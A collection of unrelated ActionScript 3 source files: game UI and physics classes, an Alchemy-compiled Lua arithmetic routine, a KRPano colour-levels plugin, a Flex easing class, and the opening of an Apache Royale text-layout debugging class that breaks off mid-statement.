public class SelectPetSkinSignal extends Signal
{
public function SelectPetSkinSignal()
{
super(IPetVO);
}
}
}//package io.decagames.rotmg.pets.signals
|
package cmodule.lua_wrapper
{
import avm2.intrinsics.memory.li32;
import avm2.intrinsics.memory.si32;
public final class FSM___subdi3 extends Machine
{
public function FSM___subdi3()
{
super();
}
public static function start() : void
{
var _loc1_:* = 0;
var _loc2_:int = 0;
var _loc3_:int = 0;
var _loc4_:int = 0;
mstate.esp -= 4;
si32(mstate.ebp,mstate.esp);
mstate.ebp = mstate.esp;
mstate.esp -= 0;
_loc1_ = int(li32(mstate.ebp + 8));
_loc2_ = li32(mstate.ebp + 16);
_loc2_ = _loc1_ - _loc2_;
_loc1_ = int(uint(_loc2_) > uint(_loc1_) ? 1 : 0);
_loc3_ = li32(mstate.ebp + 12);
_loc4_ = li32(mstate.ebp + 20);
_loc3_ = __subc(_loc3_,_loc4_);
_loc1_ &= 1;
_loc1_ = int(__subc(_loc3_,_loc1_));
mstate.edx = _loc1_;
mstate.eax = _loc2_;
mstate.esp = mstate.ebp;
mstate.ebp = li32(mstate.esp);
mstate.esp += 4;
mstate.esp += 4;
}
}
}
|
package com.company.assembleegameclient.ui.panels.itemgrids.itemtiles {
import com.company.assembleegameclient.objects.ObjectLibrary;
import com.company.assembleegameclient.objects.Player;
import com.company.assembleegameclient.parameters.Parameters;
import com.company.assembleegameclient.ui.panels.itemgrids.ItemGrid;
import com.company.assembleegameclient.util.TierUtil;
import com.company.util.GraphicsUtil;
import flash.display.GraphicsPath;
import flash.display.GraphicsSolidFill;
import flash.display.IGraphicsData;
import flash.display.Shape;
import flash.display.Sprite;
import io.decagames.rotmg.ui.labels.UILabel;
import kabam.rotmg.constants.ItemConstants;
public class ItemTile extends Sprite {
public static const TILE_DOUBLE_CLICK:String = "TILE_DOUBLE_CLICK";
public static const TILE_SINGLE_CLICK:String = "TILE_SINGLE_CLICK";
public static const WIDTH:int = 40;
public static const HEIGHT:int = 40;
public static const BORDER:int = 4;
private var fill_:GraphicsSolidFill;
private var path_:GraphicsPath;
private var graphicsData_:Vector.<IGraphicsData>;
private var restrictedUseIndicator:Shape;
public var itemSprite:ItemTileSprite;
public var tileId:int;
public var ownerGrid:ItemGrid;
public var blockingItemUpdates:Boolean;
private var tierText:UILabel;
private var tagContainer:Sprite;
public function ItemTile(_arg1:int, _arg2:ItemGrid) {
this.fill_ = new GraphicsSolidFill(this.getBackgroundColor(), 1);
this.path_ = new GraphicsPath(new Vector.<int>(), new Vector.<Number>());
this.graphicsData_ = new <IGraphicsData>[this.fill_, this.path_, GraphicsUtil.END_FILL];
super();
this.tileId = _arg1;
this.ownerGrid = _arg2;
this.restrictedUseIndicator = new Shape();
addChild(this.restrictedUseIndicator);
this.setItemSprite(new ItemTileSprite());
}
public function drawBackground(_arg1:Array):void {
GraphicsUtil.clearPath(this.path_);
GraphicsUtil.drawCutEdgeRect(0, 0, WIDTH, HEIGHT, 4, _arg1, this.path_);
graphics.clear();
graphics.drawGraphicsData(this.graphicsData_);
var _local2:GraphicsSolidFill = new GraphicsSolidFill(6036765, 1);
GraphicsUtil.clearPath(this.path_);
var _local3:Vector.<IGraphicsData> = new <IGraphicsData>[_local2, this.path_, GraphicsUtil.END_FILL];
GraphicsUtil.drawCutEdgeRect(0, 0, WIDTH, HEIGHT, 4, _arg1, this.path_);
this.restrictedUseIndicator.graphics.drawGraphicsData(_local3);
this.restrictedUseIndicator.cacheAsBitmap = true;
this.restrictedUseIndicator.visible = false;
}
public function setItem(_arg1:int):Boolean {
if (_arg1 == this.itemSprite.itemId) {
return (false);
}
if (this.blockingItemUpdates) {
return (true);
}
this.itemSprite.setType(_arg1);
this.setTierTag();
this.updateUseability(this.ownerGrid.curPlayer);
return (true);
}
public function setItemSprite(_arg1:ItemTileSprite):void {
this.itemSprite = _arg1;
this.itemSprite.x = (WIDTH / 2);
this.itemSprite.y = (HEIGHT / 2);
addChild(this.itemSprite);
}
public function updateUseability(_arg1:Player):void {
var _local2:int = this.itemSprite.itemId;
if ((((_local2 >= 0x9000)) && ((_local2 < 0xF000)))) {
_local2 = 36863;
}
if (this.itemSprite.itemId != ItemConstants.NO_ITEM) {
this.restrictedUseIndicator.visible = !(ObjectLibrary.isUsableByPlayer(_local2, _arg1));
}
else {
this.restrictedUseIndicator.visible = false;
}
}
public function canHoldItem(_arg1:int):Boolean {
return (true);
}
public function resetItemPosition():void {
this.setItemSprite(this.itemSprite);
}
public function getItemId():int {
if ((((this.itemSprite.itemId >= 0x9000)) && ((this.itemSprite.itemId < 0xF000)))) {
return (36863);
}
return (this.itemSprite.itemId);
}
protected function getBackgroundColor():int {
return (0x545454);
}
public function setTierTag():void{
this.clearTierTag();
var _local1:XML = ObjectLibrary.xmlLibrary_[this.itemSprite.itemId];
if (_local1)
{
this.tierText = TierUtil.getTierTag(_local1);
if (this.tierText != null)
{
if (!this.tagContainer)
{
this.tagContainer = new Sprite();
addChild(this.tagContainer);
}
this.tierText.filters = TierUtil.getTextOutlineFilter();
this.tierText.x = (WIDTH - this.tierText.width);
this.tierText.y = ((HEIGHT / 2) + 5);
this.toggleTierTag(Parameters.data_.showTierTag);
this.tagContainer.addChild(this.tierText);
}
}
}
private function clearTierTag():void{
if (((((this.tierText) && (this.tagContainer))) && (this.tagContainer.contains(this.tierText))))
{
this.tagContainer.removeChild(this.tierText);
this.tierText = null;
}
}
public function toggleTierTag(_arg1:Boolean):void{
if (this.tierText)
{
this.tierText.visible = _arg1;
}
}
}
}
|
package
com.ek.duckstazy.game.base
{
import com.ek.duckstazy.game.Level;
import com.ek.duckstazy.game.LevelScene;
import com.ek.library.gocs.GameObject;
import com.ek.library.utils.ParserUtil;
import com.ek.library.utils.Vector2;
import flash.display.Graphics;
import flash.display.Sprite;
import flash.geom.Point;
import flash.geom.Rectangle;
/**
* @author eliasku
*/
public class Actor
{
public static const COLLIDE_H:int = 0x1;
public static const COLLIDE_V:int = 0x2;
private static var V:Vector2 = new Vector2();
internal var _cnodes:Vector.<GridNode> = new Vector.<GridNode>();
internal var _cx1:int = -1;
internal var _cx2:int = -1;
internal var _cy1:int = -1;
internal var _cy2:int = -1;
internal var _mask:uint = ActorMask.DEFAULT;
private var _content:GameObject;
private var _name:String = "unnamed";
private var _type:String = "actor";
private var _level:Level;
private var _scene:LevelScene;
private var _layer:GameObject;
private var _layerName:String = "main";
private var _gizmo:Sprite;
private var _dead:Boolean;
private var _x:Number = 0.0;
private var _y:Number = 0.0;
private var _width:Number = 0.0;
private var _height:Number = 0.0;
private var _vx:Number = 0.0;
private var _vy:Number = 0.0;
private var _predicted:Boolean;
protected var _predX:Number = 0.0;
protected var _predY:Number = 0.0;
protected var _predVX:Number = 0.0;
protected var _predVY:Number = 0.0;
private var _actorsProcessed:Vector.<Actor> = new Vector.<Actor>();
public function Actor(level:Level)
{
_content = new GameObject();
_content.mouseChildren = false;
_content.mouseEnabled = false;
_level = level;
}
public function onStart():void
{
}
public function onSceneEnter():void
{
updateTransform();
_scene.grid.replace(this);
_layer = _scene.getLayer(_layerName);
if(_layer)
_layer.addChild(_content);
}
public function onSceneExit():void
{
if(_layer)
_layer.removeChild(_content);
_layer = null;
_scene.grid.remove(this);
}
public function loadProperties(xml:XML):void
{
if(!xml) return;
var node:XML;
node = xml.transform[0];
if(node)
{
if(node.hasOwnProperty("@position"))
{
V = ParserUtil.parseVector2(node.@position, V);
_x = V.x;
_y = V.y;
}
if(node.hasOwnProperty("@scale"))
{
V = ParserUtil.parseVector2(node.@scale, V);
_content.scaleX = V.x;
_content.scaleY = V.y;
}
if(node.hasOwnProperty("@rotation"))
{
_content.rotation = Number(node.@rotation);
}
}
if(xml.hasOwnProperty("@hit"))
{
V = ParserUtil.parseVector2(xml.@hit, V);
_width = V.x;
_height = V.y;
}
if(xml.hasOwnProperty("@name"))
_name = xml.@name;
updateTransform();
}
public function saveProperties(xml:XML):void
{
if(!xml) return;
var node:XML;
node = XML("<transform/>");
if(_x != 0 || _y != 0) node.@position = _x.toString() + "; " + _y;
if(_content.scaleX != 1.0 || _content.scaleY != 1.0) node.@scale = _content.scaleX.toString() + "; " + _content.scaleY;
if(_content.rotation != 0.0) node.@rotation = _content.rotation.toString();
xml.appendChild(node);
if(_name.length > 0 && _name.indexOf("unnamed") != 0)
xml.@name = _name;
xml.@type = _type;
if(_width != 0 || _height != 0) xml.@hit = _width.toString() + "; " + _height;
}
public function updateTransform():void
{
if(Math.abs(_x - _content.x) >= 0.1 || Math.abs(_y - _content.y) >= 0.1)
{
_content.x = _x;
_content.y = _y;
}
if(_scene)
{
_scene.grid.replace(this);
}
}
public function checkBox(posx:Number, posy:Number, width:Number, height:Number, checker:Actor = null):Boolean
{
return _x < posx + width &&
_x + _width > posx &&
_y < posy + height &&
_y + _height > posy;
}
public function checkActor(other:Actor):Boolean
{
return checkBox(other.x, other.y, other.width, other.height);
}
public function testBox(x:Number, y:Number, w:Number, h:Number):Boolean
{
if(!scene) return false;
var bounds:Rectangle = _scene.worldBounds;
if( x + w > bounds.right ||
x < bounds.x ||
y + h > bounds.bottom ||
y < bounds.y) return true;
return _scene.grid.queryRect(x, y, w, h, ActorMask.BLOCK, this).length > 0;
}
public function get level():Level
{
return _level;
}
public function update(dt:Number):void
{
if(_predicted)
{
_predicted = false;
_content.x = _x;
_content.y = _y;
}
}
public function tick(dt:Number):void
{
}
public function predict(dt:Number):void
{
if(!_predicted)
{
_predicted = true;
_predX = _x;
_predY = _y;
_predVX = _vx;
_predVY = _vy;
}
onPrediction(dt);
//predictableMove(dt, true);
_content.x = _predX;
_content.y = _predY;
}
protected function onPrediction(dt:Number):void
{
predictableMove(dt, true);
}
protected function predictableMove(dt:Number, collideBlocks:Boolean):Boolean
{
var nx:Number;
var ny:Number;
//var movement:Point = new Point(velocity.x*dt, velocity.y*dt);
var distance:Number = dt * Math.sqrt(_predVX*_predVX + _predVY*_predVY);
var max:int = int(1.0+distance);
var i:int;
var hits:int;
var blocksCollided:int;
if(distance > 0.00001)
{
var fraction:Number = 1.0 / Number(max);
for(i = 0; i < max; ++i)
{
nx = _predX + dt * _predVX * fraction;
ny = _predY + dt * _predVY * fraction;
if(collideBlocks && testBox(nx, ny, _width, _height))
{
hits = 0;
if(testBox(_predX, ny, _width, _height))
{
ny = _predY;
_predVY = 0.0;
++hits;
blocksCollided |= COLLIDE_V;
}
if(testBox(nx, _predY, _width, _height))
{
nx = _predX;
_predVX = 0.0;
++hits;
blocksCollided |= COLLIDE_H;
}
if(!hits)
{
ny = _predY;
_predVY = 0.0;
nx = _predX;
_predVX = 0.0;
blocksCollided |= COLLIDE_H | COLLIDE_V;
}
}
_predX = nx;
_predY = ny;
if((_predVX*_predVX + _predVY*_predVY) < 1.0)
{
_predVX = 0.0;
_predVY = 0.0;
break;
}
}
}
else
{
_predVX = 0.0;
_predVY = 0.0;
}
return blocksCollided!=0;
}
public function destroy():void
{
if(_scene)
{
_scene.removeActor(this);
}
}
public function move2(dx:Number, dy:Number, ex:Number = 0.0, ey:Number = 0.0, affectVelocity:Boolean = true, collideBlocks:Boolean = true):Boolean
{
var nx:Number;
var ny:Number;
//var movement:Point = new Point(velocity.x*dt, velocity.y*dt);
var distance:Number = Math.sqrt(dx*dx + dy*dy);
var max:int = int(1.0+distance);
var i:int;
var hits:int;
var blocksCollided:int;
if(distance > 0.00001)
{
var fraction:Number = 1.0 / Number(max);
//trace(distance + " "+ max);
for(i = 0; i < max; ++i)
{
nx = _x + dx * fraction;
ny = _y + dy * fraction;
if(collideBlocks && testBox(nx, ny, _width, _height))
{
hits = 0;
if(testBox(_x, ny, _width, _height))
{
ny = _y;
_vy *= -ey;
dy *= -ey;
++hits;
blocksCollided |= COLLIDE_V;
}
if(testBox(nx, _y, _width, _height))
{
nx = _x;
_vx *= -ex;
dx *= -ey;
++hits;
blocksCollided |= COLLIDE_H;
}
if(!hits)
{
nx = _x;
ny = _y;
_vx *= -ex;
_vy *= -ey;
dx *= -ey;
dy *= -ey;
blocksCollided |= COLLIDE_H | COLLIDE_V;
}
}
_x = nx;
_y = ny;
processActors();
if((_vx*_vx + _vy*_vy) < 1.0)
{
_vx = 0.0;
_vy = 0.0;
break;
}
}
}
else
{
_vx = 0.0;
_vy = 0.0;
processActors();
}
_actorsProcessed.length = 0;
onBlockCollided(blocksCollided);
updateTransform();
return blocksCollided!=0;
}
public function move(dt:Number, elasticity:Point, collideBlocks:Boolean = true):Boolean
{
var nx:Number;
var ny:Number;
//var movement:Point = new Point(velocity.x*dt, velocity.y*dt);
var distance:Number = dt * Math.sqrt(_vx*_vx + _vy*_vy);
var max:int = int(1.0+distance);
var i:int;
var hits:int;
var blocksCollided:int;
if(distance > 0.00001)
{
var fraction:Number = 1.0 / Number(max);
//trace(distance + " "+ max);
for(i = 0; i < max; ++i)
{
nx = _x + dt * _vx * fraction;
ny = _y + dt * _vy * fraction;
if(collideBlocks && testBox(nx, ny, _width, _height))
{
hits = 0;
if(testBox(_x, ny, _width, _height))
{
ny = _y;
_vy *= -elasticity.y;
++hits;
blocksCollided |= COLLIDE_V;
}
if(testBox(nx, _y, _width, _height))
{
nx = _x;
_vx *= -elasticity.x;
++hits;
blocksCollided |= COLLIDE_H;
}
if(!hits)
{
ny = _y;
_vy *= -elasticity.y;
nx = _x;
_vx *= -elasticity.x;
blocksCollided |= COLLIDE_H | COLLIDE_V;
}
}
_x = nx;
_y = ny;
processActors();
if((_vx*_vx + _vy*_vy) < 1.0)
{
_vx = 0.0;
_vy = 0.0;
break;
}
}
}
else
{
_vx = 0.0;
_vy = 0.0;
processActors();
}
_actorsProcessed.length = 0;
onBlockCollided(blocksCollided);
updateTransform();
return blocksCollided!=0;
}
protected function onBlockCollided(hits:int):void
{
}
protected function processActors():void
{
var actors:Vector.<Actor> = _scene.grid.queryRect(_x, _y, _width, _height, ActorMask.ALL, this);
var actor:Actor;
for each (actor in actors)
{
if(actor != this && _actorsProcessed.indexOf(actor) < 0)// && actor.checkBox(_x, _y, _width, _height))
{
processActor(actor);
_actorsProcessed.push(actor);
}
}
}
protected function processActor(actor:Actor):void
{
}
public function get x():Number
{
return _x;
}
public function get y():Number
{
return _y;
}
public function set x(value:Number):void
{
_x = value;
}
public function set y(value:Number):void
{
_y = value;
}
public function set position(value:Point):void
{
if(value)
{
_x = value.x;
_y = value.y;
}
}
public function get vx():Number
{
return _vx;
}
public function get vy():Number
{
return _vy;
}
public function set vx(value:Number):void
{
_vx = value;
}
public function set vy(value:Number):void
{
_vy = value;
}
public function get layer():GameObject
{
return _layer;
}
public function get width():Number
{
return _width;
}
public function get height():Number
{
return _height;
}
public function get right():Number
{
return _x + _width;
}
public function get bottom():Number
{
return _y + _height;
}
public function get centerX():Number
{
return _x + _width*0.5;
}
public function get centerY():Number
{
return _y + _height*0.5;
}
public function distanceTo(actor:Actor):Number
{
var dx:Number = actor.x - x;
var dy:Number = actor.y - y;
return Math.sqrt(dx*dx + dy*dy);
}
public function get type():String
{
return _type;
}
public function set type(value:String):void
{
_type = value;
}
public function onGizmo(g:Graphics):void
{
g.clear();
g.lineStyle(1, 0x000000, 0.25);
g.beginFill(0xffffff, 0.25);
g.drawRect(0, 0, _width, _height);
g.endFill();
g.moveTo(0, 0);
g.lineTo(_width, _height);
g.moveTo(_width, 0);
g.lineTo(0, _height);
}
public function get gizmo():Sprite
{
return _gizmo;
}
public function set gizmo(value:Sprite):void
{
_gizmo = value;
}
public function set width(value:Number):void
{
_width = value;
}
public function set height(value:Number):void
{
_height = value;
}
public function get gridMask():uint
{
return _mask;
}
public function set gridMask(value:uint):void
{
_mask = value;
}
public function get scene():LevelScene
{
return _scene;
}
public function set scene(value:LevelScene):void
{
if(_scene)
{
onSceneExit();
_scene = null;
}
if(value)
{
_scene = value;
onSceneEnter();
}
}
public function get layerName():String
{
return _layerName;
}
public function get content():GameObject
{
return _content;
}
public function get dead():Boolean
{
return _dead;
}
public function set dead(value:Boolean):void
{
_dead = value;
// _content.visible = !value;
}
public function get name():String
{
return _name;
}
public function set name(value:String):void
{
_name = value;
}
public function get velocity():Number
{
return _vx*_vx + _vy*_vy;
}
}
} |
/*
autolevels plugin for KRPano
by Aldo Hoeben / fieldOfView.com
http://fieldofview.github.com/krpano_fovplugins/autolevels/plugin.html
This software can be used free of charge and the source code is available under a Creative Commons Attribution license:
http://creativecommons.org/licenses/by/3.0/
*/
package {
import flash.display.*;
import flash.events.*;
import flash.text.*;
import flash.geom.*;
import flash.geom.ColorTransform;
import krpano_as3_interface;
// SWF Metadata
[SWF(width="256", height="256", backgroundColor="#000000")]
public class autolevels extends Sprite {
private var krpano:krpano_as3_interface = null;
public var plugin_object:Object = null;
public var enabled:Boolean;
public var effect:Number;
public var adaptation:Number;
public var coloradjust:Number;
public var attenuation:Number;
public var threshold:Number;
public var maxmultiplier:Number;
public var levelsinvalid:Boolean = true;
private var colortransform:ColorTransform = null;
private var activecolortransform:ColorTransform = null;
private var scalematrix:Matrix = null;
private var panosprite:Sprite = null;
private var meterbitmap:BitmapData = null;
public function autolevels() {
if (stage == null) {
this.addEventListener(Event.ADDED_TO_STAGE, this.startPlugin);
this.addEventListener(Event.REMOVED_FROM_STAGE, this.stopPlugin);
} else {
stage.scaleMode = StageScaleMode.NO_SCALE;
stage.align = StageAlign.TOP_LEFT;
var format:TextFormat = new TextFormat();
format.font = "_sans";
format.size = 14;
format.align = "center";
var txt:TextField = new TextField();
txt.textColor = 0xffffff;
txt.selectable = false;
txt.htmlText = "<b>autolevels plugin</b> for KRPano" + "\n\n" + "Aldo Hoeben / fieldOfView.com";
txt.autoSize = "center";
txt.setTextFormat(format);
addChild(txt);
var resize:Function = function (event:Event) : void {
txt.x = (stage.stageWidth - txt.width) / 2;
txt.y = (stage.stageHeight - txt.height) / 2;
return;
}
stage.addEventListener(Event.RESIZE, resize);
resize(null);
}
return;
}
private function startPlugin(event:Event) : void {
this.krpano = krpano_as3_interface.getInstance();
this.panosprite = krpano.get("image.layer");
this.meterbitmap = new BitmapData(80,60,false);
this.activecolortransform = new ColorTransform();
// todo: only update scalematrix on screen resizes
this.scalematrix = new Matrix();
//this.krpano.addPluginEventListener(this, krpano_as3_interface.PLUGINEVENT_RESIZE, this.resizePlugin);
//this.resizePlugin(null);
this.krpano.addPluginEventListener(this, krpano_as3_interface.PLUGINEVENT_REGISTER, this.registerPlugin);
this.krpano.addPluginEventListener(this, krpano_as3_interface.PLUGINEVENT_UPDATE, this.updatePlugin);
addEventListener(Event.ENTER_FRAME, this.enterFrameHandler);
this.krpano.set("autolevels.onviewchange", this.viewChanged);
var onviewchange:String = this.krpano.get("events.onviewchange");
if (onviewchange == null)
onviewchange = "";
this.krpano.set("events.onviewchange", "autolevels.onviewchange();"+onviewchange);
return;
}
private function stopPlugin(event:Event) : void {
// reset colortransform
this.colortransform = new ColorTransform();
panosprite.transform.colorTransform = this.colortransform;
removeEventListener(Event.ENTER_FRAME, this.enterFrameHandler);
this.krpano.removePluginEventListener(this, krpano_as3_interface.PLUGINEVENT_REGISTER, this.registerPlugin);
this.krpano.removePluginEventListener(this, krpano_as3_interface.PLUGINEVENT_UPDATE, this.updatePlugin);
//this.krpano.removePluginEventListener(this, krpano_as3_interface.PLUGINEVENT_RESIZE, this.resizePlugin);
var onviewchange:String = this.krpano.get("events.onviewchange");
if (onviewchange == null)
onviewchange = "";
onviewchange = onviewchange.split("autolevels.onviewchange();").join("");
this.krpano.set("events.onviewchange", onviewchange);
this.plugin_object = null;
this.krpano = null;
return;
}
private function registerPlugin(event:DataEvent) : void {
this.plugin_object = this.krpano.get(event.data);
this.plugin_object.registerattribute("enabled", true);
this.plugin_object.registerattribute("effect", Number(1));
this.plugin_object.registerattribute("adaptation", Number(0.1));
this.plugin_object.registerattribute("coloradjust", Number(1));
this.plugin_object.registerattribute("threshold", Number(1));
this.plugin_object.registerattribute("attenuation", Number(0));
this.plugin_object.registerattribute("maxmultiplier", Number(10000));
this.enabled = (this.plugin_object.enabled!=null)? Boolean(this.plugin_object.enabled):true;
this.effect = (this.plugin_object.effect!=null)? Math.min(Math.max(Number(this.plugin_object.effect),0),1) : 1;
this.adaptation = (this.plugin_object.adaptation!=null)? Math.min(Math.max(Number(this.plugin_object.adaptation),0.0001),1) : 0.1;
this.coloradjust = (this.plugin_object.coloradjust!=null)? Math.min(Math.max(Number(this.plugin_object.coloradjust),0),10) : 1;
this.threshold = (this.plugin_object.threshold!=null)? Math.min(Math.max(Number(this.plugin_object.threshold),0),255) : 1;
this.attenuation = (this.plugin_object.threshold!=null)? Math.min(Math.max(Number(this.plugin_object.attenuation),0),0.999) : 0;
this.maxmultiplier = (this.plugin_object.maxmultiplier!=null)? Math.max(Number(this.plugin_object.maxmultiplier),0) : 10000;
return;
}
private function updatePlugin(event:DataEvent) : void {
// in any case, the meter bitmap needs to be recalculated
this.levelsinvalid = true;
switch(event.data) {
case "enabled":
this.enabled = Boolean(this.plugin_object.enabled);
if(!this.enabled) {
this.colortransform = new ColorTransform();
this.activecolortransform = new ColorTransform();
}
break;
case "effect":
this.effect = Math.min(Math.max(Number(this.plugin_object.effect),0),1);
break;
case "adaptation":
this.adaptation = Math.min(Math.max(Number(this.plugin_object.adaptation),0.0001),1);
break;
case "coloradjust":
this.coloradjust = Math.min(Math.max(Number(this.plugin_object.coloradjust),0),10);
break;
case "threshold":
this.threshold = Math.min(Math.max(Number(this.plugin_object.threshold),0),255);
break;
case "attenuation":
this.attenuation = Math.min(Math.max(Number(this.plugin_object.attenuation),0),0.999);
break;
case "maxmultiplier":
this.maxmultiplier = Math.max(Number(this.plugin_object.maxmultiplier),0);
break;
}
}
private function enterFrameHandler(event:Event) : void {
if(this.enabled && this.levelsinvalid) {
this.updateLevels();
}
this.activecolortransform.redMultiplier += (this.colortransform.redMultiplier - this.activecolortransform.redMultiplier) * adaptation;
this.activecolortransform.redOffset += (this.colortransform.redOffset - this.activecolortransform.redOffset) * adaptation;
this.activecolortransform.greenMultiplier += (this.colortransform.greenMultiplier - this.activecolortransform.greenMultiplier) * adaptation;
this.activecolortransform.greenOffset += (this.colortransform.greenOffset - this.activecolortransform.greenOffset) * adaptation;
this.activecolortransform.blueMultiplier += (this.colortransform.blueMultiplier - this.activecolortransform.blueMultiplier) * adaptation;
this.activecolortransform.blueOffset += (this.colortransform.blueOffset - this.activecolortransform.blueOffset) * adaptation;
this.panosprite.transform.colorTransform = this.activecolortransform;
return;
}
private function resizePlugin(event:Event) : void {
this.scalematrix.identity();
var screenwidth:Number = krpano.get("view.r_screenwidth");
var screenheight:Number = krpano.get("view.r_screenheight");
this.scalematrix.translate( -screenwidth * attenuation/2, -screenheight * attenuation/2);
this.scalematrix.scale( this.meterbitmap.width / screenwidth / (1-attenuation), this.meterbitmap.height / screenheight / (1-attenuation));
this.levelsinvalid = true;
}
private function viewChanged() : void {
this.levelsinvalid = true;
}
private function updateLevels() : void {
// temporarily reset colortransform
this.colortransform = new ColorTransform();
panosprite.transform.colorTransform = this.colortransform;
// copy sprite into small bitmapdata and get a histogram
// todo: only update scalematrix on screen resizes
this.resizePlugin(null);
this.meterbitmap.draw(this.panosprite,this.scalematrix);
var histogram:Vector.<Vector.<Number>> = meterbitmap.histogram();
// analyse histogram
var minvalues:Array = new Array();
var maxvalues:Array = new Array();
var channel:Number;
for(channel = 0; channel<3; channel++) {
for(var i:Number = 0; i<256; i++) {
if(minvalues[channel]==null && histogram[channel][i]>this.threshold) {
minvalues[channel] = i*this.effect;
}
if(maxvalues[channel]==null && histogram[channel][255-i]>this.threshold) {
maxvalues[channel] = 255-(i*this.effect);
}
if(minvalues[channel]!=null && maxvalues[channel]!=null) {
break;
}
}
}
// calculate greyscale values and mix with rgb channels
minvalues[3] = (minvalues[0] + minvalues[1] + minvalues[2]) / 3;
maxvalues[3] = (maxvalues[0] + maxvalues[1] + maxvalues[2]) / 3;
for(channel = 0; channel<3; channel++) {
minvalues[channel] = minvalues[channel] * this.coloradjust + minvalues[3] * (1-this.coloradjust);
maxvalues[channel] = maxvalues[channel] * this.coloradjust + maxvalues[3] * (1-this.coloradjust);
}
this.colortransform.redMultiplier = Math.min(255.0 / (maxvalues[0] - minvalues[0]), this.maxmultiplier);
this.colortransform.redOffset = - minvalues[0] * this.colortransform.redMultiplier;
this.colortransform.greenMultiplier = Math.min(255.0 / (maxvalues[1] - minvalues[1]), this.maxmultiplier);
this.colortransform.greenOffset = - minvalues[1] * this.colortransform.greenMultiplier;
this.colortransform.blueMultiplier = Math.min(255.0 / (maxvalues[2] - minvalues[2]), this.maxmultiplier);
this.colortransform.blueOffset = - minvalues[2] * this.colortransform.blueMultiplier;
this.levelsinvalid = false;
}
}
} |
////////////////////////////////////////////////////////////////////////////////
//
// ADOBE SYSTEMS INCORPORATED
// Copyright 2004-2007 Adobe Systems Incorporated
// All Rights Reserved.
//
// NOTICE: Adobe permits you to use, modify, and distribute this file
// in accordance with the terms of the license agreement accompanying it.
//
////////////////////////////////////////////////////////////////////////////////
package mx.effects.easing
{
/**
* The Spark effects provided as of Flex 4 use classes which implement the
* IEaser interface instead of the easing functions in classes like Quartic for
* the earlier Flex 3 effects. To achieve the same functionality of Quartic,
* create a Power instance with an <code>exponent</code> of 4 and set the
* <code>easeInFraction</code> appropriately to get the desired result.
*/
[Alternative(replacement="spark.effects.easing.Power", since="4.0")]
/**
* The Quartic class defines three easing functions to implement
* motion with Flex effect classes. The acceleration of motion for a Quartic easing
* equation is greater than for a Quadratic or Cubic easing equation.
*
* For more information, see http://www.robertpenner.com/profmx.
*
* @langversion 3.0
* @playerversion Flash 9
* @playerversion AIR 1.1
* @productversion Flex 3
*/
public class Quartic
{
include "../../core/Version.as";
//--------------------------------------------------------------------------
//
// Class methods
//
//--------------------------------------------------------------------------
/**
* The <code>easeIn()</code> method starts motion from a zero velocity,
* and then accelerates motion as it executes.
*
* @param t Specifies time.
*
* @param b Specifies the initial position of a component.
*
* @param c Specifies the total change in position of the component.
*
* @param d Specifies the duration of the effect, in milliseconds.
*
* @return Number corresponding to the position of the component.
*
* @langversion 3.0
* @playerversion Flash 9
* @playerversion AIR 1.1
* @productversion Flex 3
*/
public static function easeIn(t:Number, b:Number,
c:Number, d:Number):Number
{
return c * (t /= d) * t * t * t + b;
}
/**
* The <code>easeOut()</code> method starts motion fast,
* and then decelerates motion to a zero velocity.
*
* @param t Specifies time.
*
* @param b Specifies the initial position of a component.
*
* @param c Specifies the total change in position of the component.
*
* @param d Specifies the duration of the effect, in milliseconds.
*
* @return Number corresponding to the position of the component.
*
* @langversion 3.0
* @playerversion Flash 9
* @playerversion AIR 1.1
* @productversion Flex 3
*/
public static function easeOut(t:Number, b:Number,
c:Number, d:Number):Number
{
return -c * ((t = t / d - 1) * t * t * t - 1) + b;
}
/**
* The <code>easeInOut()</code> method combines the motion
* of the <code>easeIn()</code> and <code>easeOut()</code> methods
* to start the motion from a zero velocity, accelerate motion,
* then decelerate to a zero velocity.
*
* @param t Specifies time.
*
* @param b Specifies the initial position of a component.
*
* @param c Specifies the total change in position of the component.
*
* @param d Specifies the duration of the effect, in milliseconds.
*
* @return Number corresponding to the position of the component.
*
* @langversion 3.0
* @playerversion Flash 9
* @playerversion AIR 1.1
* @productversion Flex 3
*/
public static function easeInOut(t:Number, b:Number,
c:Number, d:Number):Number
{
if ((t /= d / 2) < 1)
return c / 2 * t * t * t * t + b;
return -c / 2 * ((t -= 2) * t * t * t - 2) + b;
}
}
}
|
////////////////////////////////////////////////////////////////////////////////
//
// Licensed to the Apache Software Foundation (ASF) under one or more
// contributor license agreements. See the NOTICE file distributed with
// this work for additional information regarding copyright ownership.
// The ASF licenses this file to You under the Apache License, Version 2.0
// (the "License"); you may not use this file except in compliance with
// the License. You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
////////////////////////////////////////////////////////////////////////////////
package org.apache.royale.textLayout.debug
{
import org.apache.royale.reflection.getQualifiedClassName;
// [ExcludeClass]
/** @private */
public class Debugging
{
import org.apache.royale.utils.ObjectMap;
import org.apache.royale.text.engine.ITextBlock;
import org.apache.royale.text.engine.ITextLine;
CONFIG::debug
{
static public var debugOn:Boolean = true;
static public var traceFlag:Boolean = false;
static public var verbose:Boolean = false;
static public var throwOnAssert:Boolean = false;
static public var debugCheckTextFlow:Boolean = false;
static public var containerLineValidation:Boolean = false;
static private var traceOutString:String;
static private var traceChanged:Function = null;
static public function traceOut(str:String, ...rest):void
{
if (!traceOutString)
traceOutString = new String();
for each (var obj:Object in rest)
{
str += obj.toString();
str += " ";
}
traceOutString += str + "\n";
if (traceChanged != null)
traceChanged(traceOutString);
else
trace(str);
}
static public function setTraceChanged(listener:Function):void
{
traceChanged = listener;
}
// ///////////////////////////////
// support creating a log of calls
// //////////////////////////////
static public var generateDebugTrace:Boolean = false;
static private var idDictionary:ObjectMap = new ObjectMap(true);
static private var nextKey:int = 1;
static private var callCount:int = 1;
static private const vectPrefix:String = "__AS3__.vec::Vector";
static private function getClassForIdentity(o:Object):String
{
var s:String = getQualifiedClassName(o);
if (s.substr(0,vectPrefix.length) == vectPrefix)
{
s = s.substr( s.lastIndexOf(":")+1);
return "VectorOf" + s.substr(0,s.length-1);
}
return s.substr( s.lastIndexOf(":")+1);
}
static public function getIdentity(o:Object):String
{
if (idDictionary[o] == null)
{
var s:String = getClassForIdentity(o);
if (s == "TextLine")
idDictionary[o] = "textLineArray[" + nextKey + "]";
else if (s == "TextBlock")
